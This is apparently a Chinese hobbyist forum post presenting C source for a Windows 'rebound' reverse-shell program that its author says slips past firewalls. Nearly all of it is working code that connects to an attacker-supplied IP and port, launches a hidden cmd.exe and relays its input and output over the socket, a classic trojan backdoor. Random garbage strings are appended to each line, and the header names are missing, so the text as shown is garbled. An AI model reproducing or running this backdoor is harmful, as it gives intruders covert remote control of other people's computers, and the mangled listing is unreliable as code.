这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <{:
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/* ============================== BH@)QVs-
Rebound port in Windows NT @[?!s%*2
By wind,2006/7 ph|ZG6:
===============================*/ NHgjRPz"
#include yag}fQ(XH
#include q*AQq=
#Hh^3N
#pragma comment(lib,"wsock32.lib") W*:,m8wk
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void OutputShell(); !lmWb-v%36
SOCKET sClient; m&oi8 P-6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $7Mtt.d6
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void main(int argc,char **argv) )g@S%Yu
{ /<3<.
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WSADATA stWsaData; s&{Qdf
int nRet; rspayO<]3
SOCKADDR_IN stSaiClient,stSaiServer; wj|x:YZ*
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if(argc != 3) W:VP1 :
{ yWHiw<
printf("Useage:\n\rRebound DestIP DestPort\n"); ?vGffMm
return; yISD/
g
} `wTlyS3[
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WSAStartup(MAKEWORD(2,2),&stWsaData); =FBpo2^QB;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;}.Kb
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stSaiClient.sin_family = AF_INET; `
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stSaiClient.sin_port = htons(0); <<|H=![
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }yEoEI`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3|@t%K
{ ;ggy5?>Qu
printf("Bind Socket Failed!\n"); ^!;=6}Y R
return; Y5!b)vke
} H.J5i~s
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stSaiServer.sin_family = AF_INET; gw3NS8
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a~^Srj!}x
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C@HD(..#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r.FLGDU
{ 2Q$\KRE
printf("Connect Error!"); dNVv4{S
return; JAn1{<Ky
} C'9 1d7E
OutputShell(); O
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} mR":z|6
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void OutputShell() i@<~"~>]7
{ hD 46@
char szBuff[1024]; n2;9geq+
SECURITY_ATTRIBUTES stSecurityAttributes; Wm6dQQ;Bj
OSVERSIONINFO stOsversionInfo; t58m=4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "L~@.W!@
STARTUPINFO stStartupInfo; u2`xC4>c
char *szShell; Z[,`"}}hv=
PROCESS_INFORMATION stProcessInformation; Yn[x #DS
unsigned long lBytesRead; T~Y g5J
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iAQvsE
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (4)3W^/kk?
stSecurityAttributes.lpSecurityDescriptor = 0; j3P RAe
stSecurityAttributes.bInheritHandle = TRUE; *t=i
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VA]ZR+m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M5+W$W
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5K(n3?1z)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aVK()1v]
stStartupInfo.wShowWindow = SW_HIDE; mahi7eU
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stStartupInfo.hStdInput = hReadPipe; r|8V @.@i
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U3q5^{0d/
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GetVersionEx(&stOsversionInfo); :Ba-u
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switch(stOsversionInfo.dwPlatformId) 0O['w<_
{ CI1m5g [P
case 1: `]yKM0 Z
szShell = "command.com"; M7H~;S\3IM
break; g Np-f
default: vj@V
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szShell = "cmd.exe"; uk{J@&F
break; %~(~W>^A
} "11j$E9#\n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'h:!m/1
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send(sClient,szMsg,77,0); s_` V*`n&
while(1) D; yd{]<
{ A@{ !:_55
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I9s$bRbT
if(lBytesRead) D99N#36PU
{ .i\wE@v
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :6sGX p
send(sClient,szBuff,lBytesRead,0); <W9) Bq4
} I]UA0[8X
else $u-lo|
{ V'$oTZ`
lBytesRead=recv(sClient,szBuff,1024,0); IM|Se4;x
if(lBytesRead<=0) break; {9,R@>R
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BfEx'C
} qFGB'mIrFz
} GHqBnE{B
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return; o|BFvhg
}